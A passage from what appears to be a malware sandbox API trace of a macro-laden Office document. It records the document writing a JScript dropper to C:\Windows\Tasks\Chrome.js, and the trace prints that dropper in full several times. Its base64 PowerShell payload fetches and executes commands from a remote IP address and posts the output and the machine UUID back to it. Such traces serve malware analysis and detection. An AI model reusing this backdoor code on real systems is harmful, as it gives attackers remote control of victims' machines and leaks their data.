cb=0x190) returned 0x6a27420 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x6446e70 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x6447680 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x190) returned 0x6a275c0 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x6447e90 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x64486a0 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x190) returned 0x6a27760 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x6448eb0 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x64496c0 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x190) returned 0x6a27900 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x6449ed0 [0053.849] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x800) returned 0x644a6e0 [0053.849] RegisterClipboardFormatA (lpszFormat="MSVBColumnSelection") returned 0xc19b [0053.849] RegisterClipboardFormatA (lpszFormat="MSVBCurStmt") returned 0xc19c [0053.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyICRyZXNwc3RyZWFtOyAkQ21kPSRzci5SZWFkVG9FbmQoKTskQ21kPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENtZCkpOyAkY21kT3V0PUludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kOiRDbWR8T3V0LVN0cmluZzskUmVDbWQ9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRjbWRPdXQpKTskdXVpZD1JbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZDond21pYyBjc3Byb2R1Y3QgZ2V0IHV1aWQnfE91dC1TdHJpbmc7JFJldWlkPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkdXVpZCkpOyRQdXNsPSAnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL0dvb2dsZS5waHA/TWFjPSc7JFB1c2w9JFB1c2wrJFJldWlkOyRQdXNsPSRQdXNsKyc/RGF0YT0nOyRQdXNsPSRQdXNsKyRSZUNtZDtbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XSR3ZWJSZXF1ZXN0PVtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJFB1c2wpOyR3ZWJSZXF1ZXN0Lk1ldGhvZD0nUE9TVCc7JHdlYlJlcXVlc3QuR2V0UmVzcG9uc2UoKTsiOw==';\nDB64 = function(s) {\n var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;\n var A=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n for(i=0;i<64;i++){e[A.charAt(i)]=i;}\n for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}\n }\n return r;\n};\nvar objShell=new ActiveXObject(\"WScript.Shell\");\nvar iReturnCode=objShell.Run(DB64(c),0,false);", cchWideChar=1624, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1624 [0053.850] IMalloc:Alloc (This=0x7feffc15380, cb=0x658) returned 0x6abc830 [0053.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyICRyZXNwc3RyZWFtOyAkQ21kPSRzci5SZWFkVG9FbmQoKTskQ21kPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENtZCkpOyAkY21kT3V0PUludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kOiRDbWR8T3V0LVN0cmluZzskUmVDbWQ9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRjbWRPdXQpKTskdXVpZD1JbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZDond21pYyBjc3Byb2R1Y3QgZ2V0IHV1aWQnfE91dC1TdHJpbmc7JFJldWlkPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkdXVpZCkpOyRQdXNsPSAnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL0dvb2dsZS5waHA/TWFjPSc7JFB1c2w9JFB1c2wrJFJldWlkOyRQdXNsPSRQdXNsKyc/RGF0YT0nOyRQdXNsPSRQdXNsKyRSZUNtZDtbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XSR3ZWJSZXF1ZXN0PVtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJFB1c2wpOyR3ZWJSZXF1ZXN0Lk1ldGhvZD0nUE9TVCc7JHdlYlJlcXVlc3QuR2V0UmVzcG9uc2UoKTsiOw==';\nDB64 = function(s) {\n var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;\n var A=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n for(i=0;i<64;i++){e[A.charAt(i)]=i;}\n for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}\n }\n return r;\n};\nvar objShell=new ActiveXObject(\"WScript.Shell\");\nvar iReturnCode=objShell.Run(DB64(c),0,false);", cchWideChar=1624, lpMultiByteStr=0x6abc830, cbMultiByte=1624, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyICRyZXNwc3RyZWFtOyAkQ21kPSRzci5SZWFkVG9FbmQoKTskQ21kPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENtZCkpOyAkY21kT3V0PUludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kOiRDbWR8T3V0LVN0cmluZzskUmVDbWQ9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRjbWRPdXQpKTskdXVpZD1JbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZDond21pYyBjc3Byb2R1Y3QgZ2V0IHV1aWQnfE91dC1TdHJpbmc7JFJldWlkPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkdXVpZCkpOyRQdXNsPSAnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL0dvb2dsZS5waHA/TWFjPSc7JFB1c2w9JFB1c2wrJFJldWlkOyRQdXNsPSRQdXNsKyc/RGF0YT0nOyRQdXNsPSRQdXNsKyRSZUNtZDtbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XSR3ZWJSZXF1ZXN0PVtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJFB1c2wpOyR3ZWJSZXF1ZXN0Lk1ldGhvZD0nUE9TVCc7JHdlYlJlcXVlc3QuR2V0UmVzcG9uc2UoKTsiOw==';\nDB64 = function(s) {\n var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;\n var A=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n for(i=0;i<64;i++){e[A.charAt(i)]=i;}\n for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}\n }\n return r;\n};\nvar objShell=new ActiveXObject(\"WScript.Shell\");\nvar iReturnCode=objShell.Run(DB64(c),0,false);\"ù\x98%\x93¸j", lpUsedDefaultChar=0x0) returned 1624 [0053.850] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x6aa0790 [0053.850] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x6aa0ba0 [0053.850] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x6aa0fb0 [0053.850] _mbscpy_s (in: _Dst=0x6aa0790, _DstSizeInBytes=0x400, _Src=0x7fee4b6c91c | out: _Dst=0x6aa0790) returned 0x0 [0053.850] _mbsnbcpy_s (in: _Dst=0x6aa0fb0, _DstSizeInBytes=0x400, _Src=0x7fee4b6c91c, _MaxCount=0x0 | out: _Dst=0x6aa0fb0) returned 0x0 [0053.850] _mbscpy_s (in: _Dst=0x6aa0fb0, _DstSizeInBytes=0x400, _Src=0x6aa0ba0 | out: _Dst=0x6aa0fb0) returned 0x0 [0053.851] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2c990 [0053.851] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2c990) returned 0x18 [0053.851] _mbscpy_s (in: _Dst=0x6aa13c0, _DstSizeInBytes=0x400, _Src=0x6aa0fb0 | out: _Dst=0x6aa13c0) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2c9b0 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2c9b0) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x69b6390, _DstSizeInBytes=0x8f, _Src=0x6aa0fb0 | out: _Dst=0x69b6390) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2c9f0 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2c9f0) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x6a2ca30, _DstSizeInBytes=0x15, _Src=0x6aa0fb0 | out: _Dst=0x6a2ca30) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2ca50 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2ca50) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x69c40a0, _DstSizeInBytes=0x44, _Src=0x6aa0fb0 | out: _Dst=0x69c40a0) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2ca10 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2ca10) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x69d7490, _DstSizeInBytes=0x4e, _Src=0x6aa0fb0 | out: _Dst=0x69d7490) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2ca70 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2ca70) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x663f310, _DstSizeInBytes=0x29, _Src=0x6aa0fb0 | out: _Dst=0x663f310) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cab0 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cab0) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x6a2cad0, _DstSizeInBytes=0x16, _Src=0x6aa0fb0 | out: _Dst=0x6a2cad0) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2c8b0 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2c8b0) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x663f2d0, _DstSizeInBytes=0x2a, _Src=0x6aa0fb0 | out: _Dst=0x663f2d0) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2caf0 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2caf0) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x69c40f0, _DstSizeInBytes=0x44, _Src=0x6aa0fb0 | out: _Dst=0x69c40f0) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cb10 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cb10) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x6a508d0, _DstSizeInBytes=0x6, _Src=0x6aa0fb0 | out: _Dst=0x6a508d0) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cb30 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cb30) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x6a2cb50, _DstSizeInBytes=0xe, _Src=0x6aa0fb0 | out: _Dst=0x6a2cb50) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cb70 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cb70) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x6a50870, _DstSizeInBytes=0x3, _Src=0x6aa0fb0 | out: _Dst=0x6a50870) returned 0x0 [0053.852] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cb90 [0053.852] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cb90) returned 0x18 [0053.852] _mbscpy_s (in: _Dst=0x663f490, _DstSizeInBytes=0x31, _Src=0x6aa0fb0 | out: _Dst=0x663f490) returned 0x0 [0053.852] _mbscat_s (in: _Dst=0x6aa0fb0, _DstSizeInBytes=0x400, _Src=0x6aa0790 | out: _Dst=0x6aa0fb0) returned 0x0 [0053.853] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cbb0 [0053.853] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cbb0) returned 0x18 [0053.853] _mbscpy_s (in: _Dst=0x6a509d0, _DstSizeInBytes=0x1, _Src=0x7fee4b2773e | out: _Dst=0x6a509d0) returned 0x0 [0053.853] _mbscmp (_Str1=0x6447680, _Str2=0x6446660) returned 1 [0053.853] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cbd0 [0053.853] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cbd0) returned 0x18 [0053.853] _mbscpy_s (in: _Dst=0x663f4d0, _DstSizeInBytes=0x2f, _Src=0x6447680 | out: _Dst=0x663f4d0) returned 0x0 [0053.853] IMalloc:Free (This=0x7feffc15380, pv=0x6a509d0) [0053.853] IMalloc:Free (This=0x7feffc15380, pv=0x6a2cbb0) [0053.853] _mbsnbcpy_s (in: _Dst=0x7fee4b6c91c, _DstSizeInBytes=0x400, _Src=0x6446660, _MaxCount=0x3ff | out: _Dst=0x7fee4b6c91c) returned 0x0 [0053.853] GetFocus () returned 0x50024 [0053.853] _mbsnbcpy_s (in: _Dst=0x7fee4b6c91c, _DstSizeInBytes=0x400, _Src=0x6446660, _MaxCount=0x2e | out: _Dst=0x7fee4b6c91c) returned 0x0 [0053.853] GetFocus () returned 0x50024 [0053.853] IMalloc:Free (This=0x7feffc15380, pv=0x6aa0790) [0053.853] IMalloc:Free (This=0x7feffc15380, pv=0x6aa0ba0) [0053.853] IMalloc:Free (This=0x7feffc15380, pv=0x6aa0fb0) [0053.853] IMalloc:Free (This=0x7feffc15380, pv=0x6abc830) [0053.853] _mbsnbcpy_s (in: _Dst=0x7fee4b6c91c, _DstSizeInBytes=0x400, _Src=0x6446660, _MaxCount=0x2e | out: _Dst=0x7fee4b6c91c) returned 0x0 [0053.854] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x6aa0fb0 [0053.854] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x6aa0ba0 [0053.854] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x6aa0790 [0053.854] _mbscpy_s (in: _Dst=0x6aa0fb0, _DstSizeInBytes=0x400, _Src=0x7fee4b6c94a | out: _Dst=0x6aa0fb0) returned 0x0 [0053.854] _mbsnbcpy_s (in: _Dst=0x6aa0790, _DstSizeInBytes=0x400, _Src=0x7fee4b6c91c, _MaxCount=0x2e | out: _Dst=0x6aa0790) returned 0x0 [0053.854] _mbscpy_s (in: _Dst=0x6aa07be, _DstSizeInBytes=0x3d2, _Src=0x6aa0ba0 | out: _Dst=0x6aa07be) returned 0x0 [0053.854] _mbscmp (_Str1=0x6aa0790, _Str2=0x6447680) returned 0 [0053.854] _mbscat_s (in: _Dst=0x6aa0790, _DstSizeInBytes=0x400, _Src=0x6aa0fb0 | out: _Dst=0x6aa0790) returned 0x0 [0053.854] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6a2cbf0 [0053.854] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a2cbf0) returned 0x18 [0053.854] _mbscpy_s (in: _Dst=0x6a509e0, _DstSizeInBytes=0x1, _Src=0x7fee4b2773e | out: _Dst=0x6a509e0) returned 0x0 [0053.854] _mbscmp (_Str1=0x6447680, _Str2=0x6446660) returned 0 [0053.854] GetFocus () returned 0x50024 [0053.854] _mbsnbcpy_s (in: _Dst=0x7fee4b6c91c, _DstSizeInBytes=0x400, _Src=0x6446660, _MaxCount=0x0 | out: _Dst=0x7fee4b6c91c) returned 0x0 [0053.854] GetFocus () returned 0x50024 [0053.854] IMalloc:Free (This=0x7feffc15380, pv=0x6aa0fb0) [0053.854] IMalloc:Free (This=0x7feffc15380, pv=0x6aa0ba0) [0053.854] IMalloc:Free (This=0x7feffc15380, pv=0x6aa0790) [0053.854] IMalloc:Free (This=0x7feffc15380, pv=0x6a509d0) [0053.855] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x126890 | out: lpclsid=0x126890*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0053.860] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0053.860] CoCreateInstance (in: rclsid=0x126890*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7fee4b27890*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x126738 | out: ppv=0x126738*=0xa6b1250) returned 0x0 [0054.037] FileSystemObject:IUnknown:QueryInterface (in: This=0xa6b1250, riid=0x7fee4b42600*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0x126750 | out: ppvObject=0x126750*=0x0) returned 0x80004002 [0054.037] FileSystemObject:IUnknown:QueryInterface (in: This=0xa6b1250, riid=0x7fee4b42610*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0x126758 | out: ppvObject=0x126758*=0x0) returned 0x80004002 [0054.037] FileSystemObject:IUnknown:QueryInterface (in: This=0xa6b1250, riid=0x7fee4b278b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x126778 | out: ppvObject=0x126778*=0xa6b1250) returned 0x0 [0054.037] FileSystemObject:IUnknown:Release (This=0xa6b1250) returned 0x1 [0054.037] FileSystemObject:IUnknown:AddRef (This=0xa6b1250) returned 0x2 [0054.037] FileSystemObject:IUnknown:Release (This=0xa6b1250) returned 0x1 [0054.037] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xa6b1250, riid=0x7fee4b278a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x126900*="CreateTextFile", cNames=0x1, lcid=0x409, rgDispId=0x1268e4 | out: rgDispId=0x1268e4*=1101) returned 0x0 [0054.038] FileSystemObject:IDispatch:Invoke (in: This=0xa6b1250, dispIdMember=1101, riid=0x7fee4b278a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x126898*(rgvarg=([0]=0x697b288*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), [1]=0x697b2a0*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), [2]=0x697b2b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js"), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x697b398, pExcepInfo=0x1268b0, puArgErr=0x126890 | out: pDispParams=0x126898*(rgvarg=([0]=0x697b288*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), [1]=0x697b2a0*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), [2]=0x697b2b8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\Tasks\\Chrome.js", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x697b398*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x45f6d0, varVal2=0x697b2b8), pExcepInfo=0x1268b0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x126890*=0x1268e4) returned 0x0 [0054.040] FileSystemObject:IUnknown:AddRef (This=0x45f6d0) returned 0x2 [0054.040] FileSystemObject:IUnknown:Release (This=0x45f6d0) returned 0x1 [0054.040] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x45f6d0, riid=0x7fee4b278a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x126900*="Write", cNames=0x1, lcid=0x409, rgDispId=0x1268e4 | out: rgDispId=0x1268e4*=10007) returned 0x0 [0054.040] FileSystemObject:IDispatch:Invoke (in: This=0x45f6d0, dispIdMember=10007, riid=0x7fee4b278a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x126898*(rgvarg=([0]=0x697b2b8*(varType=0x4008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x697b468*="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyICRyZXNwc3RyZWFtOyAkQ21kPSRzci5SZWFkVG9FbmQoKTskQ21kPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENtZCkpOyAkY21kT3V0PUludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kOiRDbWR8T3V0LVN0cmluZzskUmVDbWQ9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRjbWRPdXQpKTskdXVpZD1JbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZDond21pYyBjc3Byb2R1Y3QgZ2V0IHV1aWQnfE91dC1TdHJpbmc7JFJldWlkPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkdXVpZCkpOyRQdXNsPSAnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL0dvb2dsZS5waHA/TWFjPSc7JFB1c2w9JFB1c2wrJFJldWlkOyRQdXNsPSRQdXNsKyc/RGF0YT0nOyRQdXNsPSRQdXNsKyRSZUNtZDtbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XSR3ZWJSZXF1ZXN0PVtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJFB1c2wpOyR3ZWJSZXF1ZXN0Lk1ldGhvZD0nUE9TVCc7JHdlYlJlcXVlc3QuR2V0UmVzcG9uc2UoKTsiOw==';\nDB64 = function(s) {\n var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;\n var A=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n for(i=0;i<64;i++){e[A.charAt(i)]=i;}\n for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}\n }\n return r;\n};\nvar objShell=new ActiveXObject(\"WScript.Shell\");\nvar iReturnCode=objShell.Run(DB64(c),0,false);", varVal2=0x697b468)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1268b0, puArgErr=0x126890 | out: pDispParams=0x126898*(rgvarg=([0]=0x697b2b8*(varType=0x4008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x697b468*="var 